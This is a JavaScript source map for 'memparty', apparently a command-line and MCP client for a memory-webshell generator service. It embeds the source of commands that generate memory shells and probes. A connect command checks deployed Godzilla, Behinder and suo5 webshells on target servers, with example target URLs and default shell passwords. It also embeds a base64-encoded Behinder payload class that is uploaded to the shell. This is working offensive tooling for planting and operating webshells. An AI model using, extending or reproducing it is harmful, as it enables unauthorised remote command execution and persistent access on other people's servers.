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","names":["Command","input","config","excerpt","cookie","randomBytes","randomBytes","readFileSync","homedir","join","existsSync","mkdirSync","readFileSync","homedir","dirname","join","input","Option","parseExtraHeaders","Option","readFileSync","Option","writeFileSync","input","readFileSync","readFileSync","readFileSync","Option","Option","Option","require","updated","readFileSync","readFileSync","Option","checkbox","confirm","input","select","JDK_CHOICES","select","input","checkbox","confirm","REQUIRED","toOptions","Option","Option","parseExtraHeaders","Option","input","updated","Command"]}
1
+ {"version":3,"sources":["../src/cli.ts","../src/api/client.ts","../src/core/config.ts","../src/cli-context.ts","../src/commands/config.ts","../src/commands/connect.ts","../src/connect/assets.ts","../src/connect/classfile.ts","../src/connect/crypto.ts","../src/connect/http.ts","../src/connect/types.ts","../src/connect/behinder.ts","../src/connect/godzilla.ts","../src/connect/suo5.ts","../src/core/oplog.ts","../src/core/targets.ts","../src/commands/exec.ts","../src/commands/gen.ts","../src/core/output.ts","../src/core/request-builder.ts","../src/core/jdk.ts","../src/wizard/memshell-wizard.ts","../src/commands/log.ts","../src/mcp/server.ts","../src/version.ts","../src/commands/mcp.ts","../src/commands/parse-classname.ts","../src/commands/probe.ts","../src/wizard/probe-wizard.ts","../src/commands/target.ts","../src/commands/version.ts"],"sourcesContent":["import { Command } from \"commander\";\n\nimport { ApiError } from \"./api/client.js\";\nimport { registerConfigCommand } from \"./commands/config.js\";\nimport { registerConnectCommand } from \"./commands/connect.js\";\nimport { registerExecCommand } from \"./commands/exec.js\";\nimport { registerGenCommand } from \"./commands/gen.js\";\nimport { registerLogCommand } from \"./commands/log.js\";\nimport { registerMcpCommand } from \"./commands/mcp.js\";\nimport { registerParseClassNameCommand } from \"./commands/parse-classname.js\";\nimport { registerProbeCommand } from \"./commands/probe.js\";\nimport { registerTargetCommand } from \"./commands/target.js\";\nimport { registerVersionCommand } from \"./commands/version.js\";\nimport { DEFAULT_API_URL, ENV_VAR } from \"./core/config.js\";\nimport { CLI_VERSION } from \"./version.js\";\n\nfunction buildProgram(): Command {\n const program = new Command();\n\n program\n .name(\"memparty\")\n .description(\"CLI + MCP client for MemShellParty (party.mem.mk)\")\n .version(CLI_VERSION, \"-v, --version\", \"output the CLI version\")\n .option(\n \"--api <url>\",\n `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`,\n )\n .option(\"--timeout <ms>\", \"request timeout in milliseconds\", \"30000\");\n\n registerGenCommand(program);\n registerProbeCommand(program);\n registerConfigCommand(program);\n registerConnectCommand(program);\n registerExecCommand(program);\n registerTargetCommand(program);\n registerLogCommand(program);\n registerParseClassNameCommand(program);\n registerVersionCommand(program);\n registerMcpCommand(program);\n\n return program;\n}\n\nasync function main(): Promise<void> {\n const program = buildProgram();\n try {\n await program.parseAsync(process.argv);\n } catch (err) {\n // Set exitCode rather than calling process.exit(): an abrupt exit while\n // undici's (global fetch) keep-alive socket is still open trips a libuv\n // assertion on Windows. Letting the event loop drain avoids the crash.\n if (err instanceof ApiError) {\n process.stderr.write(`API error (${err.status || \"network\"}): ${err.message}\\n`);\n process.exitCode = 1;\n } else if (err instanceof Error) {\n // Inquirer throws this when the user aborts with Ctrl-C.\n if (err.name === \"ExitPromptError\") {\n process.stderr.write(\"\\nAborted.\\n\");\n process.exitCode = 130;\n } else {\n process.stderr.write(`Error: ${err.message}\\n`);\n process.exitCode = 1;\n }\n } else {\n process.stderr.write(`Error: ${String(err)}\\n`);\n process.exitCode = 1;\n }\n }\n}\n\nvoid main();\n","import type {\n ApiErrorResponse,\n CommandConfigVO,\n MainConfig,\n MemShellGenerateRequest,\n MemShellGenerateResponse,\n PackerTree,\n ProbeShellGenerateRequest,\n ProbeShellGenerateResponse,\n ServerConfig,\n VersionInfo,\n} from \"./types.js\";\n\nexport type FetchLike = typeof fetch;\n\n/** Error thrown when the API responds with a non-2xx status. */\nexport class ApiError extends Error {\n constructor(\n message: string,\n readonly status: number,\n readonly url: string,\n ) {\n super(message);\n this.name = \"ApiError\";\n }\n}\n\nexport interface MemPartyClientOptions {\n /** Base URL of the MemShellParty backend, e.g. https://party.mem.mk */\n baseUrl: string;\n /** Injectable fetch implementation (defaults to global fetch). Useful for testing. */\n fetch?: FetchLike;\n /** Per-request timeout in milliseconds. Default 30000. */\n timeoutMs?: number;\n}\n\n/**\n * Typed client for the MemShellParty HTTP API.\n * Knows nothing about the CLI or MCP — it is a pure transport layer so every\n * entrypoint (flags, wizard, MCP) can share it.\n */\nexport class MemPartyClient {\n private readonly baseUrl: string;\n private readonly fetchImpl: FetchLike;\n private readonly timeoutMs: number;\n\n constructor(options: MemPartyClientOptions) {\n this.baseUrl = options.baseUrl.replace(/\\/+$/, \"\");\n this.fetchImpl = options.fetch ?? globalThis.fetch;\n this.timeoutMs = options.timeoutMs ?? 30_000;\n if (typeof this.fetchImpl !== \"function\") {\n throw new Error(\n \"No fetch implementation available. Use Node.js >= 18 or pass a custom fetch.\",\n );\n }\n }\n\n // ---------- config ----------\n\n getServers(): Promise<ServerConfig> {\n return this.request<ServerConfig>(\"GET\", \"/api/config/servers\");\n }\n\n getConfig(): Promise<MainConfig> {\n return this.request<MainConfig>(\"GET\", \"/api/config\");\n }\n\n getPackerTree(): Promise<PackerTree> {\n return this.request<PackerTree>(\"GET\", \"/api/config/packers/tree\");\n }\n\n getPackers(): Promise<string[]> {\n return this.request<string[]>(\"GET\", \"/api/config/packers\");\n }\n\n getCommandConfigs(): Promise<CommandConfigVO> {\n return this.request<CommandConfigVO>(\"GET\", \"/api/config/command/configs\");\n }\n\n getVersion(): Promise<VersionInfo> {\n return this.request<VersionInfo>(\"GET\", \"/api/version\");\n }\n\n // ---------- generation ----------\n\n generateMemShell(req: MemShellGenerateRequest): Promise<MemShellGenerateResponse> {\n return this.request<MemShellGenerateResponse>(\"POST\", \"/api/memshell/generate\", {\n json: req,\n });\n }\n\n generateProbe(req: ProbeShellGenerateRequest): Promise<ProbeShellGenerateResponse> {\n return this.request<ProbeShellGenerateResponse>(\"POST\", \"/api/probe/generate\", {\n json: req,\n });\n }\n\n /** Parse a fully-qualified class name from a base64-encoded .class file. */\n parseClassName(classBase64: string): Promise<string> {\n return this.request<string>(\"POST\", \"/api/className\", {\n text: classBase64,\n raw: true,\n });\n }\n\n // ---------- transport ----------\n\n private async request<T>(\n method: string,\n path: string,\n opts: { json?: unknown; text?: string; raw?: boolean } = {},\n ): Promise<T> {\n const url = `${this.baseUrl}${path}`;\n const headers: Record<string, string> = {};\n let body: string | undefined;\n\n if (opts.json !== undefined) {\n headers[\"Content-Type\"] = \"application/json\";\n body = JSON.stringify(opts.json);\n } else if (opts.text !== undefined) {\n headers[\"Content-Type\"] = \"text/plain\";\n body = opts.text;\n }\n\n const controller = new AbortController();\n const timer = setTimeout(() => controller.abort(), this.timeoutMs);\n\n let response: Response;\n try {\n response = await this.fetchImpl(url, {\n method,\n headers,\n body,\n signal: controller.signal,\n });\n } catch (err) {\n if (err instanceof Error && err.name === \"AbortError\") {\n throw new ApiError(`Request timed out after ${this.timeoutMs}ms`, 0, url);\n }\n throw new ApiError(\n `Failed to reach ${url}: ${(err as Error).message}`,\n 0,\n url,\n );\n } finally {\n clearTimeout(timer);\n }\n\n const rawText = await response.text();\n\n if (!response.ok) {\n let message = rawText || response.statusText;\n try {\n const parsed = JSON.parse(rawText) as ApiErrorResponse;\n if (parsed?.error) message = parsed.error;\n } catch {\n // body was not JSON — keep raw text\n }\n throw new ApiError(message, response.status, url);\n }\n\n if (opts.raw) {\n return rawText as unknown as T;\n }\n if (rawText === \"\") {\n return undefined as unknown as T;\n }\n return JSON.parse(rawText) as T;\n }\n}\n","import { readFileSync } from \"node:fs\";\nimport { homedir } from \"node:os\";\nimport { join } from \"node:path\";\n\nexport const DEFAULT_API_URL = \"https://party.mem.mk\";\nexport const ENV_VAR = \"MEMPARTY_API_URL\";\n\nexport interface ResolveApiUrlInput {\n /** Value from the --api flag (highest priority). */\n flag?: string;\n /** Environment map (defaults to process.env). */\n env?: NodeJS.ProcessEnv;\n /** Home directory (defaults to os.homedir()). Injectable for tests. */\n home?: string;\n}\n\ninterface RcFile {\n apiUrl?: string;\n}\n\nfunction readRcFile(home: string): RcFile | undefined {\n const path = join(home, \".mempartyrc\");\n try {\n const raw = readFileSync(path, \"utf8\");\n return JSON.parse(raw) as RcFile;\n } catch {\n return undefined;\n }\n}\n\n/**\n * Resolve the API base URL by priority:\n * 1. --api flag\n * 2. MEMPARTY_API_URL env var\n * 3. ~/.mempartyrc { \"apiUrl\": \"...\" }\n * 4. default public site (https://party.mem.mk)\n */\nexport function resolveApiUrl(input: ResolveApiUrlInput = {}): string {\n const env = input.env ?? process.env;\n const home = input.home ?? homedir();\n\n const fromFlag = input.flag?.trim();\n if (fromFlag) return fromFlag;\n\n const fromEnv = env[ENV_VAR]?.trim();\n if (fromEnv) return fromEnv;\n\n const fromFile = readRcFile(home)?.apiUrl?.trim();\n if (fromFile) return fromFile;\n\n return DEFAULT_API_URL;\n}\n","import { MemPartyClient } from \"./api/client.js\";\nimport { resolveApiUrl } from \"./core/config.js\";\n\n/** Global options attached to every command via commander. */\nexport interface GlobalOptions {\n api?: string;\n timeout?: string;\n}\n\nexport function createClient(opts: GlobalOptions): MemPartyClient {\n const baseUrl = resolveApiUrl({ flag: opts.api });\n const timeoutMs = opts.timeout ? Number(opts.timeout) : undefined;\n return new MemPartyClient({ baseUrl, timeoutMs });\n}\n\n/** Write a message to stderr. */\nexport function logError(msg: string): void {\n process.stderr.write(`${msg}\\n`);\n}\n\n/** Write an informational message to stderr (keeps stdout clean for payloads). */\nexport function logInfo(msg: string): void {\n process.stderr.write(`${msg}\\n`);\n}\n","import { Command } from \"commander\";\n\nimport { createClient, type GlobalOptions } from \"../cli-context.js\";\n\ninterface ConfigCmdOptions extends GlobalOptions {\n json?: boolean;\n}\n\nfunction printJsonOrLines(data: unknown, json: boolean | undefined, renderLines: () => string[]): void {\n if (json) {\n process.stdout.write(`${JSON.stringify(data, null, 2)}\\n`);\n } else {\n process.stdout.write(`${renderLines().join(\"\\n\")}\\n`);\n }\n}\n\nexport function registerConfigCommand(program: Command): void {\n const config = program\n .command(\"config\")\n .description(\"Query supported servers, shell tools, shell types, and packers\");\n\n config\n .command(\"servers\")\n .description(\"List supported servers and their shell types\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const servers = await client.getServers();\n printJsonOrLines(servers, opts.json, () =>\n Object.entries(servers).map(([name, types]) => `${name}\\n ${types.join(\", \")}`),\n );\n });\n\n config\n .command(\"tools\")\n .description(\"List shell tools (and their shell types) per server\")\n .argument(\"[server]\", \"filter by a single server name\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (server: string | undefined, opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const config = await client.getConfig();\n const filtered = server ? { [server]: config[server] ?? {} } : config;\n printJsonOrLines(filtered, opts.json, () =>\n Object.entries(filtered).flatMap(([name, tools]) => [\n name,\n ...Object.entries(tools).map(([tool, types]) => ` ${tool}: ${types.join(\", \")}`),\n ]),\n );\n });\n\n config\n .command(\"packers\")\n .description(\"List packers (parent / child tree)\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const tree = await client.getPackerTree();\n printJsonOrLines(tree, opts.json, () =>\n tree.map((p) => (p.children.length ? `${p.name}\\n ${p.children.join(\", \")}` : p.name)),\n );\n });\n\n config\n .command(\"command\")\n .description(\"List Command-tool encryptors and implementation classes\")\n .option(\"--json\", \"output raw JSON\")\n .action(async (opts: ConfigCmdOptions, cmd: Command) => {\n const client = createClient(cmd.optsWithGlobals());\n const cc = await client.getCommandConfigs();\n printJsonOrLines(cc, opts.json, () => [\n `encryptors: ${cc.encryptors.join(\", \")}`,\n `implementationClasses: ${cc.implementationClasses.join(\", \")}`,\n ]);\n });\n}\n","import { Command, Option } from \"commander\";\n\nimport type { GlobalOptions } from \"../cli-context.js\";\nimport { testBehinder } from \"../connect/behinder.js\";\nimport { testGodzilla } from \"../connect/godzilla.js\";\nimport { testSuo5, type Suo5Mode } from \"../connect/suo5.js\";\nimport type { CommonConnectOptions, ConnectTestResult } from \"../connect/types.js\";\nimport { logOp } from \"../core/oplog.js\";\nimport { resolveConnection } from \"../core/targets.js\";\n\ninterface ConnectCmdOptions extends GlobalOptions {\n url?: string;\n tool?: string;\n pass?: string;\n key?: string;\n headerName?: string;\n headerValue?: string;\n header?: string[];\n suo5Mode?: Suo5Mode;\n insecure?: boolean;\n json?: boolean;\n}\n\nfunction parseExtraHeaders(lines: string[] | undefined): Record<string, string> {\n const headers: Record<string, string> = {};\n for (const line of lines ?? []) {\n const idx = line.indexOf(\":\");\n if (idx <= 0) {\n throw new Error(`invalid header ${JSON.stringify(line)}, expected \"Name: value\"`);\n }\n headers[line.slice(0, idx).trim()] = line.slice(idx + 1).trim();\n }\n return headers;\n}\n\nexport function registerConnectCommand(program: Command): void {\n program\n .command(\"connect\")\n .description(\n \"Test whether a deployed webshell (Godzilla / Behinder / suo5) is alive and the credentials work\",\n )\n .argument(\"[name]\", \"saved target name (see 'memparty target list')\")\n .option(\"-u, --url <url>\", \"URL of the deployed shell (or give a saved target name)\")\n .addOption(\n new Option(\"-t, --tool <tool>\", \"shell tool\").choices([\"godzilla\", \"behinder\", \"suo5\"]),\n )\n .option(\"--pass <pass>\", \"password (godzilla default: pass; behinder default: rebeyond)\")\n .option(\"--key <key>\", \"godzilla key\", \"key\")\n .option(\n \"--header-name <name>\",\n \"gate header name reported by gen (shellToolConfig.headerName)\",\n )\n .option(\n \"--header-value <value>\",\n \"gate header value reported by gen (shellToolConfig.headerValue)\",\n )\n .option(\"-H, --header <line...>\", 'extra request header, e.g. -H \"Cookie: a=b\"')\n .addOption(\n new Option(\"--suo5-mode <mode>\", \"suo5 protocol variant\")\n .choices([\"auto\", \"v2\", \"v1\"])\n .default(\"auto\"),\n )\n .option(\"-k, --insecure\", \"skip TLS certificate verification\")\n .option(\"--json\", \"output raw JSON\")\n .addHelpText(\n \"after\",\n `\nExamples:\n $ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key \\\\\n --header-value qSGAJScj\n $ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond \\\\\n --header-value YdwTyuQr\n $ memparty connect -u http://target/suo5.jsp -t suo5\n $ memparty connect web222 # saved target, see 'memparty target'\n $ memparty connect -u https://target/shell.jsp -t godzilla -k --json\n\nNote: shells generated by MemShellParty check a gate header — copy\nshellToolConfig.headerName/headerValue from the \\`gen --json\\` output\n(default header name is \"User-Agent\"), or the shell stays silent.\nSave the whole profile with 'memparty target save <name> ...' and then\njust pass the name.\n`,\n )\n .action(async (name: string | undefined, opts: ConnectCmdOptions, cmd: Command) => {\n const globals = cmd.optsWithGlobals() as GlobalOptions & { timeout?: string };\n const timeoutMs = Number.parseInt(globals.timeout ?? \"30000\", 10);\n\n let conn;\n try {\n conn = resolveConnection(name, {\n url: opts.url,\n tool: opts.tool,\n pass: opts.pass,\n key: opts.key,\n headerName: opts.headerName,\n headerValue: opts.headerValue,\n extraHeaders: parseExtraHeaders(opts.header),\n insecure: opts.insecure,\n });\n } catch (err) {\n process.stderr.write(`Error: ${err instanceof Error ? err.message : String(err)}\\n`);\n process.exitCode = 1;\n return;\n }\n\n const common: CommonConnectOptions = {\n headerName: conn.headerName,\n headerValue: conn.headerValue,\n extraHeaders: conn.extraHeaders,\n timeoutMs,\n insecure: conn.insecure,\n };\n\n let result: ConnectTestResult;\n switch (conn.tool) {\n case \"godzilla\":\n result = await testGodzilla(conn.url, conn.pass ?? \"pass\", conn.key ?? \"key\", common);\n break;\n case \"behinder\":\n result = await testBehinder(conn.url, conn.pass ?? \"rebeyond\", common);\n break;\n case \"suo5\":\n result = await testSuo5(conn.url, { ...common, mode: opts.suo5Mode });\n break;\n default:\n process.stderr.write(`Error: unknown tool ${String(conn.tool)}\\n`);\n process.exitCode = 1;\n return;\n }\n\n logOp({\n category: \"connect\",\n action: \"connect\",\n targetName: conn.targetName,\n url: conn.url,\n tool: conn.tool,\n ok: result.ok,\n durationMs: result.durationMs,\n detail: result.detail,\n error: result.error,\n });\n\n if (opts.json) {\n process.stdout.write(`${JSON.stringify(result, null, 2)}\\n`);\n } else if (result.ok) {\n process.stdout.write(`OK ${result.tool} ${result.url}\\n ${result.detail ?? \"\"}\\n`);\n } else {\n process.stderr.write(`FAIL ${result.tool} ${result.url}\\n ${result.error ?? \"\"}\\n`);\n }\n if (!result.ok) {\n process.exitCode = 1;\n }\n });\n}\n","/**\n * Embedded webshell payload templates, base64-encoded so the bundled CLI\n * stays self-contained (no runtime asset files to resolve).\n *\n * Regenerate from the binaries in src/connect/assets/ with:\n * node scratch/connect-work/gen-assets.cjs\n *\n * Source binaries live in src/connect/assets/:\n * - Echo.class: net.rebeyond.behinder.payload.java.Echo from Behinder v3 —\n * the payload the Behinder client uploads for its echo/connect test.\n * - Cmd.class: net.rebeyond.behinder.payload.java.Cmd from Behinder v3 —\n * the payload the Behinder client uploads for command execution (its\n * static `cmd` field is filled client-side before upload).\n * - GodzillaPayload.class: shells/payloads/java/assets/payload.classs from\n * godzilla.jar — the payload class uploaded on Godzilla connect.\n */\n\nconst ECHO_CLASS_B64 =\n \"yv66vgAAADQBRwoADwCtBwCuCgACAK0KAGEArwgAsAgAsQsASwCyCACzCQBhALQJAGEAtQoADwC2CAC3BwC4CgANALkHALoKALsA\" +\n \"vAgAcwcAgAoAYQC9CAC+CgAeAL8KAGEAwAgAwQgAwgcAwwoAGQDECgAZAMUJAGEAxggAxwcAyAgAyQoADwDKCADLBwDMCADNCgAi\" +\n \"AM4IAM8KACcA0AcA0QoAJwDSCgAnANMHANQKACoArQoAKgDVCgAqANYKAGEA1woAHgDYBwDZCgAwAK0IANoKANsA3AgA3QoAMADe\" +\n \"CwBLAN8LAOAA4QsAlADiCwCUAOMIAOQIAOUKADAAygsASwDmCADnCADoCgAeAOkKADAA6goAMADrCADsCgANAO0IAO4KAB4A7wgA\" +\n \"8AkAYQDxCADyCADzBwD0CAD1CAD2CAD3CAD4CAD5CAD6CgANAPsIAPwIAP0HAP4IAP8KAA0BAAgAjwgBAQoAHgECCAEDCgAeAQQK\" +\n \"AQUBBgcBBwoAXgCtCgBeAQgHAQkBAAdjb250ZW50AQASTGphdmEvbGFuZy9TdHJpbmc7AQALcGF5bG9hZEJvZHkBAAdSZXF1ZXN0\" +\n \"AQASTGphdmEvbGFuZy9PYmplY3Q7AQAIUmVzcG9uc2UBAAdTZXNzaW9uAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1i\" +\n \"ZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMbmV0L3JlYmV5b25kL2JlaGluZGVyL3BheWxvYWQvamF2YS9F\" +\n \"Y2hvOwEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEAAnNvAQAFd3JpdGUBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0\" +\n \"aG9kOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAANvYmoBAAZyZXN1bHQBAA9MamF2YS91dGlsL01hcDsBABZMb2NhbFZh\" +\n \"cmlhYmxlVHlwZVRhYmxlAQA1TGphdmEvdXRpbC9NYXA8TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7PjsBAA1T\" +\n \"dGFja01hcFRhYmxlAQAHRW5jcnlwdAEABihbQilbQgEAAmJzAQACW0IBAANrZXkBAANyYXcBAAhza2V5U3BlYwEAIUxqYXZheC9j\" +\n \"cnlwdG8vc3BlYy9TZWNyZXRLZXlTcGVjOwEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEACWVuY3J5cHRlZAEAA2Jv\" +\n \"cwEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAApFeGNlcHRpb25zAQAJYnVpbGRKc29uAQAkKExqYXZhL3V0aWwv\" +\n \"TWFwO1opTGphdmEvbGFuZy9TdHJpbmc7AQAFdmFsdWUBAAZlbnRpdHkBAAZlbmNvZGUBAAFaAQACc2IBABlMamF2YS9sYW5nL1N0\" +\n \"cmluZ0J1aWxkZXI7AQAHdmVyc2lvbgcBCgEACVNpZ25hdHVyZQEASihMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztM\" +\n \"amF2YS9sYW5nL1N0cmluZzs+O1opTGphdmEvbGFuZy9TdHJpbmc7AQALZmlsbENvbnRleHQBABUoTGphdmEvbGFuZy9PYmplY3Q7\" +\n \"KVYBAAZvYmpNYXABADVMamF2YS91dGlsL01hcDxMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL09iamVjdDs+OwEADGJhc2U2\" +\n \"NGVuY29kZQEAFihbQilMamF2YS9sYW5nL1N0cmluZzsBAAdFbmNvZGVyAQAGQmFzZTY0AQARTGphdmEvbGFuZy9DbGFzczsBAAVl\" +\n \"cnJvcgEAFUxqYXZhL2xhbmcvVGhyb3dhYmxlOwEABGRhdGEBAAhnZXRNYWdpYwEABCgpW0IBAAFpAQABSQEACG1hZ2ljTnVtAQAG\" +\n \"cmFuZG9tAQASTGphdmEvdXRpbC9SYW5kb207AQADYnVmAQAKU291cmNlRmlsZQEACUVjaG8uamF2YQwAaQBqAQAXamF2YS91dGls\" +\n \"L0xpbmtlZEhhc2hNYXAMAJcAmAEABnN0YXR1cwEAB3N1Y2Nlc3MMAQsBDAEAA21zZwwAYgBjDABnAGYMAQ0BDgEAD2dldE91dHB1\" +\n \"dFN0cmVhbQEAD2phdmEvbGFuZy9DbGFzcwwBDwEQAQAQamF2YS9sYW5nL09iamVjdAcBEQwBEgETDACLAIwBAAVVVEYtOAwBFAEV\" +\n \"DAB9AH4BAAVmbHVzaAEABWNsb3NlAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwBFgBqDAEXARgMAGgAZgEADGdldEF0dHJpYnV0ZQEA\" +\n 